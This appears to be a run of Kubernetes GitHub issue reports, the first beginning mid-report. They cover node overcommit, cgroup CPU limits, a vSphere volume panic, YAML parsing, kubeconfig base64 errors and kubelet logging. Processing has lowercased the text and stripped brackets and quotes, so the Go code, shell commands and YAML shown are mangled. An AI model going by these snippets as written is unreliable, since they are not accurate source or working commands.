cpu limits     memory requests        memory limits\r   ------------  ----------     ---------------        -------------\r   24210m  60%   46720m  116%   41079120640256m  20%   77406mi  40% \r     \r \r result is that the node stops working. i cannot even ssh into it anymore. \r \r the user used an old kubectl version  1.8.3  though. but i think the server side components should try to handle that accordingly as well.\r \r   what you expected to happen  :\r - error gets thrown when trying to create a pod with such a faulty request\r - pod doesn't get accepted for scheduling on the node\r - kubelet rejects to start pod  the latest \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2  kubectl client by user was 1.8.3 \r - cloud provider or hardware configuration: bare-metal, on-prem\r - os  e.g. from /etc/os-release : container linux by coreos 1688.5.3  rhyolite \r - kernel  e.g.  uname -a  : 4.14.32-coreos\r - install tools:\r - others:\r

 i'm not sure this is a bug, but not one of the others\r   what happened  :\r  i  have ran kubelet with parameters:\r    \r --enforce-node-allocatable=pods \\\r --kube-reserved=cpu=6400m,memory=98358mi,ephemeral-storage=5gi\r    \r got limit for kubepods memmory: \r    \r cat /sys/fs/cgroup/memory/kubepods/memory.limit_in_bytes\r 412547018752\r    \r got soft cpu limit:\r    \r cat /sys/fs/cgroup/cpu/kubepods/cpu.shares\r 58982\r    \r cfs quota haven't changed:\r    \r  cat /sys/fs/cgroup/cpu/kubepods/cpu.cfs_quota_us\r -1\r    \r allocateble has changed:\r    \r capacity:\r  cpu:                64\r  ephemeral-storage:  2064114848ki\r  memory:             503596540ki\r  pods:               500\r allocatable:\r  cpu:                57600m\r  ephemeral-storage:  1896919531648\r  memory:             402775548ki\r  pods:               500\r    \r   what you expected to happen  :\r i expectetd i will get cpu hard limit for kubepods cgroup\r \r as it works for pods, for example:\r    \r cat /sys/fs/cgroup/cpu/kubepods/podb0085a01-9ed3-11e8-90bc-12642777bb76/cpu.cfs_quota_us\r 200000\r    \r is it possible to use hard linit ? how exectly i can do this ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r   you can run kubelet with parameters above \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.5\r - cloud provider or hardware configuration:\r aws, but i'm not using cloud-provider flag\r - os  e.g. from /etc/os-release :\r 16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  :\r 4.15.18-041518-generic  201804190330 smp thu apr 19 07:34:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r ansible\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r provsioning a pvc using a storage class with vsphere as the cloud provider failed with error \ runtime error: index out of range\ .\r \r   what you expected to happen  :\r the pvc should have been created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pvc using a storage class with vsphere as the cloud provider and a vmware vcenter server where the default language is not english.\r \r   anything else we need to know?  :\r k8s in conjunction with vsphere pvc relies on english error messages from the vmware api in order to determine the canonical path for a newly created volume  vmdk file .\r \r the faulting code  v1.11.3, still the same on master  can be found here  starting at line 312 : https://github.com/kubernetes/kubernetes/blob/v1.11.3/pkg/cloudprovider/providers/vsphere/vsphere_util.go\r \r    \r func getcanonicalvolumepath ctx context.context, dc  vclib.datacenter, volumepath string   string, error  {\r \tvar folderid string\r \tvar folderexists bool\r \tcanonicalvolumepath := volumepath\r \tdspathobj, err := vclib.getdatastorepathobjfromvmdiskpath volumepath \r \tif err != nil {\r \t\treturn \ \ , err\r \t}\r \tdspath := strings.split strings.trimspace dspathobj.path , \ /\  \r \tif len dspath  <= 1 {\r \t\treturn canonicalvolumepath, nil\r \t}\r \tdatastore := dspathobj.datastore\r \tdsfolder := dspath 0 \r \tfoldernameidmap, datastoreexists := datastorefolderidmap datastore \r \tif datastoreexists {\r \t\tfolderid, folderexists = foldernameidmap dsfolder \r \t}\r \t// get the datastore folder id if datastore or folder doesn't exist in datastorefolderidmap\r \tif !datastoreexists || !folderexists {\r \t\tif !vclib.isvaliduuid dsfolder  {\r \t\t\tdummydiskvolpath := \  \  + datastore + \   \  + dsfolder + \ /\  + dummydiskname\r \t\t\t// querying a non-existent dummy disk on the datastore folder.\r \t\t\t// it would fail and return an folder id in the error message.\r \t\t\t_, err := dc.getvirtualdiskpage83data ctx, dummydiskvolpath \r \t\t\tif err != nil {\r \t\t\t\tre := regexp.mustcompile \ file  . ?  was not found\  \r \t\t\t\tmatch := re.findstringsubmatch err.error   \r \t\t\t\tcanonicalvolumepath = match 1 \r \t\t\t}\r \t\t}\r \t\tdiskpath := vclib.getpathfromvmdiskpath canonicalvolumepath \r \t\tif diskpath == \ \  {\r \t\t\treturn \ \ , fmt.errorf \ failed to parse canonicalvolumepath: %s in getcanonicalvolumepath method\ , canonicalvolumepath \r \t\t}\r \t\tfolderid = strings.split strings.trimspace diskpath , \ /\   0 \r \t\tsetdatastorefolderidmap datastorefolderidmap, datastore, dsfolder, folderid \r \t}\r \tcanonicalvolumepath = strings.replace volumepath, dsfolder, folderid, 1 \r \treturn canonicalvolumepath, nil\r }\r    \r \r the line \ canonicalvolumepath = match 1 \   340  in the above code is the problem because \ file  . ?  was not found\   english  never matches for a different language  e.g. german: \ datei  datastore  kubevols/kube-dummydisk.vmdk wurde nicht gefunden\   and a “runtime error: index out of range” oocurs in the \ kube-controller-manager\ .\r \r this causes the already created volume  vmdk file  not to be reported back to the k8s system which in turn will try to recreate it repeatedly in a loop  fails with \ cannot complete the operation because the file or folder  datastore  /kubevols/kubernetes-dynamic-pvc- uuid  already exists\  .\r \r find below the corresponding log excerpt  kube-controller-manager : \r \r    \r i1210 13:40:10.467434       1 pv_controller.go:1394  error saving claim default/testing: operation cannot be fulfilled on persistentvolumeclaims \ testing\ : the object has been modified; please apply your changes to the latest version and try again\r i1210 13:40:12.227023       1 vsphere.go:1108  starting to create a vsphere volume with volumeoptions: &{capacitykb:1048576 tags:map kubernetes.io/created-for/pvc/namespace:default kubernetes.io/created-for/pvc/name:testing kubernetes.io/created-for/pv/name:pvc-1d2167a0-fc81-11e8-bd11-005056968ce7  name:kubernetes-dynamic-pvc-1d2167a0-fc81-11e8-bd11-005056968ce7 diskformat:thin datastore: vsanstorageprofiledata: storagepolicyname: storagepolicyid: scsicontrollertype:}\r w1210 13:40:13.081793       1 datacenter.go:214  queryvirtualdiskuuid failed for diskpath: \  datastore  kubevols/kube-dummydisk.vmdk\ . err: serverfaultcode: datei  datastore  kubevols/kube-dummydisk.vmdk wurde nicht gefunden\r e1210 13:40:13.097671       1 goroutinemap.go:150  operation for \ provision-default/testing 1d2167a0-fc81-11e8-bd11-005056968ce7 \  failed. no retries permitted until 2018-12-10 13:40:13.597467328 +0000 utc m=+3186.860099451  durationbeforeretry 500ms . error: \ recovered from panic \\\ runtime error: index out of range\\\ .  err=<nil>  call stack:\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:154\ /usr/local/go/src/runtime/asm_amd64.s:573\ /usr/local/go/src/runtime/panic.go:502\ /usr/local/go/src/runtime/panic.go:28\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere_util.go:340\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1198\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1210\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume_util.go:143\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume.go:359\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1481\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1369\ /workspace/anago-v1.11.3-beta.0.71+a4529464e4629c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:115\ /usr/local/go/src/runtime/asm_amd64.s:2361\ \ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r    \r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r \r <!-- do not edit below this line -->\r 

on a failed readiness check i got the event message:      readiness probe failed: get http://172.17.0.5:8080/: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers       the : after the path on the url in particular is really strange looking, followed immediately by the net/http: part.  is there a better way to summarize this failure.

it would be awesome to be able to simply run a command on the host instead of having to run a command inside a docker image. this would be similar to running a marathon app with  command  instead of  container . this command would then be run inside of whichever cgroups or selinux context was requested in the config.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---scheduler extender; node array; nodelist    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.7    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : ubuntu 14.04 -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : scheduler extender changes to node array nodes    api.node, but extenderargs still use nodelist, which will you use in the future.    what you expected to happen  : use the same parameter    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : is:issue yaml in:title version   ---    is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : v1.3.7  seems to be the same on master     what happened  : i tried to apply a yaml file with  kubectl --context=minikube apply -f ./etc/deployment.yaml  and got a validation error. however the yaml is valid 1.2.  the error is:     error validating \ ./etc/deployment.yaml\ : error validating data: expected type string, for field spec.template.spec.containers 2 .command 6 , got bool; if you choose to ignore these errors, turn validation off with --validate=false    what you expected to happen  : kubectl should apply the deployment file    how to reproduce it    as minimally and precisely as possible :  try to apply this object file:      apiversion: extensions/v1beta1 kind: deployment metadata:   name: redis spec:   replicas: 1   selector:     matchlabels:       name: redis   template:     metadata:       labels:         name: redis     spec:       containers:         -           name: redis           image: 'redis:3.2'           command:             - redis-server             - '--appendonly'             - no         anything else do we need to know  :  the \ no\  is the source of confusion for the program. in previous yaml versions this should be translated to be a boolean value, but in the current, 1.2, it should be a string \ no\ . kubectl is using the older standard and translating this as a bool.  it is not so simple for me as to quote the \ no\  value like  'no'  - this object file is the output of another library which uses the 1.2 standard. we need to be aware that of course people will use various libraries to consume and produce yaml.  i believe the problem can be traced from this https://github.com/ghodss/yaml to this source library here: https://github.com/cloudfoundry-incubator/candiedyaml/blob/master/resolver.go l42  should kubernetes only support yaml 1.2? it seems to me that we'd want to deprecate previous yaml support since yaml is not backwards compatible. yaml spec versions at: http://yaml.org/ - i have noticed that several of the online yaml validators also seem to get this \ wrong\ .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r   some thoughts  :\r 1. when doing   podfitsonnode  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/core/generic_scheduler.go l234 , it   continues   checking even when predicate failed.  i know some reasons in issue  20064 and pr  29272. however, why not make it switchable to continue or abort? it could be more effective.\r \r 2. based on 1., in some orders of predicates, it would be fast failed to abort checking. so why not use an array of predicates which is ordered instead of map? and we can adjust the order of predicatefuncs later.\r \r i'm curious about the decision gathering all failed predicates.\r

 \r tearing down  for example simple updating pods in stateful set  of local-storage pvc seems to be broken:\r \r > i0630 10:46:44.480172   24010 reconciler.go:186  operationexecutor.unmountvolume started for volume \ test\   uniquename: \ kubernetes.io/local-volume/97513921-5d70-11e7-a549-180373f4ecc0-test-affinity-test-1\   pod \ 97513921-5d70-11e7-a549-180373f4ecc0\   uid: \ 97513921-5d70-11e7-a549-180373f4ecc0\   \r > i0630 10:46:44.480243   24010 local.go:271  unmounting volume \ test-affinity-test-1\  at path \ /www/adm/kubernetes/root/pods/97513921-5d70-11e7-a549-> 180373f4ecc0/volumes/kubernetes.io~local-volume/test-affinity-test-1\ \r w0630 10:46:44.480277   24010 util.go:87  warning: \ /www/adm/kubernetes/root/pods/97513921-5d70-11e7-a549-180373f4ecc0/volumes/kubernetes.io~local-volume/test-affinity-test-1\  is not a mountpoint, deleting\r > e0630 10:46:44.480328   24010 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/local-volume/97513921-5d70-11e7-a549-180373f4ecc0-test-affinity-test-1\\\   \\\ 97513921-5d70-11e7-a549-180373f4ecc0\\\  \  failed. no retries permitted until 2017-06-30 10:46:48.48030593 +0200 cest  durationbeforeretry 4s . error: unmountvolume.teardown failed for volume \ test\   uniquename: \ kubernetes.io/local-volume/97513921-5d70-11e7-a549-180373f4ecc0-test-affinity-test-1\   pod \ 97513921-5d70-11e7-a549-180373f4ecc0\   uid: \ 97513921-5d70-11e7-a549-180373f4ecc0\   : remove /www/adm/kubernetes/root/pods/97513921-5d70-11e7-a549-180373f4ecc0/volumes/kubernetes.io~local-volume/test-affinity-test-1: device or resource busy\r \r i've managed to track it down to\r pkg/volume/local/local.go calling through some pkg/volume/util/util.go  mounter.islikelynotmountpoint dir \r \r which literally has written in its comments:\r > // islikelynotmountpoint determines if a directory is not a mountpoint.\r > // it is fast but not necessarily always correct. if the path is in fact\r > // a bind mount from one part of a mount to another it will not be detected.\r > // mkdir /tmp/a /tmp/b; mount --bin /tmp/a /tmp/b; islikelynotmountpoint \ /tmp/b\  \r > // will return true. when in fact /tmp/b is a mount point. if this situation\r > // if of interest to you, don't use this function...\r \r which makes it detect it as a normal directory rather than a mount dir  as it is a normal directory... just bind mounted \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : self hosted\r \r testing out a  dirty?  patch as we're speaking

hi i tried to setup kublet with a customized cgroup, but now working, below is my configuration:\r \r environment: ubuntu 16.04.02\r docker: 1.12.6 configured cgroup with system \r cgroup: create a container.slice, and place docker service in this slice, and also set docker's cgroup-parent into container.slice\r \r kubelet:  start kubelet within  container.slice, and configured   --cgroup-driver=systemd and --cgroup-root=/container.slice/ or --cgroup-root=container.slice \r \r error: \r failed to run kubelet: invalid configuration: cgroup-root \ /container.slice/\  doesn't exist:\r or \r failed to run kubelet: invalid configuration: cgroup-root \ container.slice\  doesn't exist\r anyone can tell me how to configure this? \r \r

  \r   what happened  :\r running  kubectl config get-contexts  crashes with the error message:\r \r    \r error: error loading config file \ ~/.kube/config\ : v1.config: contexts:   v1.namedcontext: clusters:   v1.namedcluster: v1.namedcluster: name: cluster: v1.cluster: server: certificateauthoritydata: decode base64: illegal base64 data at input byte 76, parsing 1540 ...s0tlqo=\ \ ... at {\ apiversion\ :\ v1\ ,\ clusters\ : {\ cluster\ :{\ certificate-authority-data\ :\ ..........\r    \r \r   what you expected to happen  :\r showing the available kube contexts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. save this sanitized, dummy kubeconfig to e.g.  /tmp/kubeconfig :\r \r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: |\r       ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsurcekndqwurz0f3sujbz0lkqu8yrjlwbulncudvtuewr0ntcudtswizrfffqkjrvufnqm94r0rbv0jntlykqkfntuqzzdnketvszudgdgnhegxmbu52ylrbzuz3mhhoekv3tvrjd09eutjnvejhrncweu56rxdnvef3t0rrmgpnvejhtujveedeqvdcz05wqkfntuqzzdnketvszudgdgnhegxmbu52ylrdq0ftsxdeuvlks29aswh2y05buuvcckjrqurnz0vqqurdq0frb0nnz0vcqu1xagxuquk1r0lzrvzjqtbmrlnlzvhjt296rwrqlytkukz2tdrosuf5dhgkykzmow5ynfzwekh5sfriv0w2ntbzww5ovlyya2pqvfjrqzrndlp3efnfc1zbuzg4l1d0cwvteld3k1nnb01zbgp5ng9iu2vyz1p5d2jhodf5n1paskdkl3c3blzuqvm1vnz2tut1n2hvaehsrhf1bulqnjdea211nw5ca2vul0r4cnzrr3lvck1jt0vxwjjrz1fjz3rrvgjstlbpd01qrzhztjnls2zxc0tzevq4yzj5em1towtqc0r5ahnwm2zrr3okc29zu0lzn3a3qnz4szzedhuzvwxny1j4swtjujzeng9poxfnoeyztyszuu1udhdhz3vyl0dcczvtyk9ntglfwgpzenzqtzhkszzfnxj4rhdinxc1yw5xsw5inglyeunwz2fyaxn6uzdpb0pnq0f3rufbyu5rtuu0d0hrwurwujbpckjcwuvgsfnlrkvzbmdpn1bcadjsc3e1n3zyufj1m0zdtui4r0exvwrjd1fztujhquziu2vgrxnuz2k3uejommwkc3e1n3zyufj1m0zdtuf3r0exvwrfd1fgtufnqkfmohdeuvlks29aswh2y05buuvgqlfbrgdnrujbq0thuwtvmao5rznhv1u1njhtsvhowww1cer4y3vcrznidjhqefrxbnvvnc9lwen6remyuevftfdoc3voue8xqtfzne5nz2hscmzhoedazfu4sgvdsvlttkf3qk0zugttaenntzjhwnl2nedkc1pmewv0zm42mnjxshnamgtqbzljqldfy1l5elikctg5qwtrrviyrelnuhlsd2tfznc2ag9hd3zwmkpjyxeynepodhizn1czai9hddhkoxzuevlqbvnvsufsy0xnzwoydlbcs1libw4xtu9ra2rok3lhotllu3zgy3jkemj0mmlpr1iwqmtza2tpzmncexd5wgvyqtbvwitmdhrladvlcmrfzzf0vnlkdhlptvr4cfzazupyynmzwezrali1vzjts2vhvtvnrzy2c1fube43l29ctnvjzzrhaefzrk85slgkb00xde1wtdlirexncexzpqotls0tluvorcbdrvjusuzjq0furs0tls0tcg==\r     server: https://www.example.com\r   name: prod\r contexts:\r - context:\r     cluster: prod\r     namespace: default\r     user: default-service-account\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: default-service-account\r   user:\r     token: eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjzdwiioiixmjm0nty3odkwiiwibmftzsi6ikpvag4grg9liiwiywrtaw4ionrydwusimp0asi6ijy2odq1mzjlltjiy2utndbizc05mzixltuwnjmyzja3nta2zsisimlhdci6mtuwnzc5ode2nywizxhwijoxnta3odaxnzy3fq.i6vcae1embcxddmfjyudkoio4yxmiiqazct424cpzvs\r    \r \r 2. download both a _working_  kubectl  version for this config  i tried with  v1.6.2  and  v1.7.8  , and a _non-working_    v1.8.0  :\r \r    \r $ curl - slo /tmp/kubectl178 https://storage.googleapis.com/kubernetes-release/release/v1.7.8/bin/darwin/amd64/kubectl \\\r && curl - slo /tmp/kubectl180 https://storage.googleapis.com/kubernetes-release/release/v1.8.0/bin/darwin/amd64/kubectl \\\r && chmod +x /tmp/kubectl1 \r    \r \r 3. run the two different  kubectl  versions with the provided config, and see only one of them output an error:\r \r  v1.7.8 :\r    \r $ /tmp/kubectl178 config get-contexts --kubeconfig /tmp/kubeconfig\r current   name      cluster   authinfo                  namespace\r           default   prod      default-service-account   default\r    \r \r  v1.8.0 :\r    \r $ /tmp/kubectl180 config get-contexts --kubeconfig /tmp/kubeconfig\r error: error loading config file \ /tmp/kubeconfig\ : v1.config: contexts:   v1.namedcontext: clusters:   v1.namedcluster: v1.namedcluster: name: cluster: v1.cluster: server: certificateauthoritydata: decode base64: illegal base64 data at input byte 1484, parsing 1560 ...s0tcg==\ \ ... at {\ apiversion\ :\ v1\ ,\ clusters\ : {\ cluster\ :{\ certificate-authority-data\ :\ ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsurcekndqwurz0f3sujbz0lkqu8yrjlwbulncudvtuewr0ntcudtswizrfffqkjrvufnqm94r0rbv0jntlykqkfntuqzzdnketvszudgdgnhegxmbu52ylrbzuz3mhhoekv3tvrjd09eutjnvejhrncweu56rxdnvef3t0rrmgpnvejhtujveedeqvdcz05wqkfntuqzzdnketvszudgdgnhegxmbu52ylrdq0ftsxdeuvlks29aswh2y05buuvcckjrqurnz0vqqurdq0frb0nnz0vcqu1xagxuquk1r0lzrvzjqtbmrlnlzvhjt296rwrqlytkukz2tdrosuf5dhgkykzmow5ynfzwekh5sfriv0w2ntbzww5ovlyya2pqvfjrqzrndlp3efnfc1zbuzg4l1d0cwvteld3k1nnb01zbgp5ng9iu2vyz1p5d2jhodf5n1paskdkl3c3blzuqvm1vnz2tut1n2hvaehsrhf1bulqnjdea211nw5ca2vul0r4cnzrr3lvck1jt0vxwjjrz1fjz3rrvgjstlbpd01qrzhztjnls2zxc0tzevq4yzj5em1towtqc0r5ahnwm2zrr3okc29zu0lzn3a3qnz4szzedhuzvwxny1j4swtjujzeng9poxfnoeyztyszuu1udhdhz3vyl0dcczvtyk9ntglfwgpzenzqtzhkszzfnxj4rhdinxc1yw5xsw5inglyeunwz2fyaxn6uzdpb0pnq0f3rufbyu5rtuu0d0hrwurwujbpckjcwuvgsfnlrkvzbmdpn1bcadjsc3e1n3zyufj1m0zdtui4r0exvwrjd1fztujhquziu2vgrxnuz2k3uejommwkc3e1n3zyufj1m0zdtuf3r0exvwrfd1fgtufnqkfmohdeuvlks29aswh2y05buuvgqlfbrgdnrujbq0thuwtvmao5rznhv1u1njhtsvhowww1cer4y3vcrznidjhqefrxbnvvnc9lwen6remyuevftfdoc3voue8xqtfzne5nz2hscmzhoedazfu4sgvdsvlttkf3qk0zugttaenntzjhwnl2nedkc1pmewv0zm42mnjxshnamgtqbzljqldfy1l5elikctg5qwtrrviyrelnuhlsd2tfznc2ag9hd3zwmkpjyxeynepodhizn1czai9hddhkoxzuevlqbvnvsufsy0xnzwoydlbcs1libw4xtu9ra2rok3lhotllu3zgy3jkemj0mmlpr1iwqmtza2tpzmncexd5wgvyqtbvwitmdhrladvlcmrfzzf0vnlkdhlptvr4cfzazupyynmzwezrali1vzjts2vhvtvnrzy2c1fube43l29ctnvjzzrhaefzrk85slgkb00xde1wtdlirexncexzpqotls0tluvorcbdrvjusuzjq0furs0tls0tcg==\ \ ,\ server\ :\ https://www.example.com\ },\ name\ :\ prod\ } ,\ contexts\ : {\ context\ :{\ cluster\ :\ prod\ ,\ namespace\ :\ default\ ,\ user\ :\ default-service-account\ },\ name\ :\ default\ } ,\ current-context\ :\ default\ ,\ kind\ :\ config\ ,\ preferences\ :{},\ users\ : {\ name\ :\ default-service-account\ ,\ user\ :{\ token\ :\ eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjzdwiioiixmjm0nty3odkwiiwibmftzsi6ikpvag4grg9liiwiywrtaw4ionrydwusimp0asi6ijy2odq1mzjlltjiy2utndbizc05mzixltuwnjmyzja3nta2zsisimlhdci6mtuwnzc5ode2nywizxhwijoxnta3odaxnzy3fq.i6vcae1embcxddmfjyudkoio4yxmiiqazct424cpzvs\ }} }\r    \r \r   anything else we need to know?  :\r work with  v1.6.2  and  v1.7.8  for us, but not  v1.8.0 .\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  : darwin kernel version 16.7.0\r - install tools: curl or brew, doesn't matter

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r on 1.8+ kubelet with --cpu-manager-policy=static, there is a constant stream of logging every 10 seconds or so in the following formats:\r \r  kubelet: i1030 14:13:15.116477   23623 cpu_manager.go:239   cpumanager  reconcilestate: updating container  pod: kube-proxy-47dt8, container: kube-proxy, container id: f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986, cpuset: \ 0-31\   \r \r for every pod, and\r \r  kubelet: e1030 14:13:05.012702   23623 remote_runtime.go:302  updatecontainerresources \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\  from runtime service failed: rpc error: code = unknown desc = failed to update container \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\ : error response from daemon: cannot update container f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986: rpc error: code = unknown desc = failed to write a  :  rwm to devices.allow: write /sys/fs/cgroup/devices/kubepods/burstable/pod74095402-a88b-11e7-9aea-90b11c4094cf/f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986/devices.allow: invalid argument \r \r  kubelet: e1030 14:13:05.012729   23623 cpu_manager.go:242   cpumanager  reconcilestate: failed to update container  pod: kube-proxy-47dt8, container: kube-proxy, container id: f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986, cpuset: \ 0-31\ , error: rpc error: code = unknown desc = failed to update container \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\ : error response from daemon: cannot update container f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986: rpc error: code = unknown desc = failed to write a  :  rwm to devices.allow: write /sys/fs/cgroup/devices/kubepods/burstable/pod74095402-a88b-11e7-9aea-90b11c4094cf/f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986/devices.allow: invalid argument  \r \r for every privileged pod where update would fail but looks expected.\r \r   what you expected to happen  :\r \r first set of logs should probably be suppressed or to the debug level.\r \r second set of logs should probably be better at distinguish expected case vs. unexpected case before logging that as errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubelet with  --cpu-manager-policy=static --feature-gates=cpumanager=true , and watch /var/log/messages or similar.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: baremetal/onprem\r - os  e.g. from /etc/os-release : centos 7.4.1708\r - kernel  e.g.  uname -a  : 4.13.8-1.el7.elrepo.x86_64\r - install tools: custom\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r root@node-1:~/prometheus  kubectl create -f prometheus-01.yaml\r clusterrolebinding \ prometheus-operator\  created\r clusterrole \ prometheus-operator\  created\r serviceaccount \ prometheus-operator\  created\r error from server  timeout : error when creating \ prometheus-01.yaml\ : timeout: request did not complete within allowed duration\r \r root@node-1:~/prometheus  etcdctl --endpoints https://10.0.0.33:2379 cluster-health\r member 203058f8d922e5d9 is healthy: got healthy result from https://10.0.0.33:2379\r member 20c1df3bc6c542ae is healthy: got healthy result from https://10.0.0.29:2379\r member 82d6f167d2559682 is healthy: got healthy result from https://10.0.0.35:2379\r cluster is healthy\r \r root@node-1:~/prometheus  kubectl get cs\r name                 status    message              error\r controller-manager   healthy   ok                   \r scheduler            healthy   ok                   \r etcd-0               healthy   {\ health\ : \ true\ }   \r etcd-2               healthy   {\ health\ : \ true\ }   \r etcd-1               healthy   {\ health\ : \ true\ } \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r create deployment resoure\r \r   anything else we need to know?  :\r \r   apiserver logs output  :\r 1220 10:30:15.409248       1 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  2.620446ms  200   hyperkube/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e/leader-election  127.0.0.1:56544 \r i1220 10:30:15.439516       1 trace.go:76  trace 1844338211 : \ create /apis/extensions/v1beta1/namespaces/default/deployments\   started: 2017-12-20 10:29:45.438316221 +0000 utc   total time: 30.001156076s :\r trace 1844338211 :  30.001156076s   30.00067321s  end\r i1220 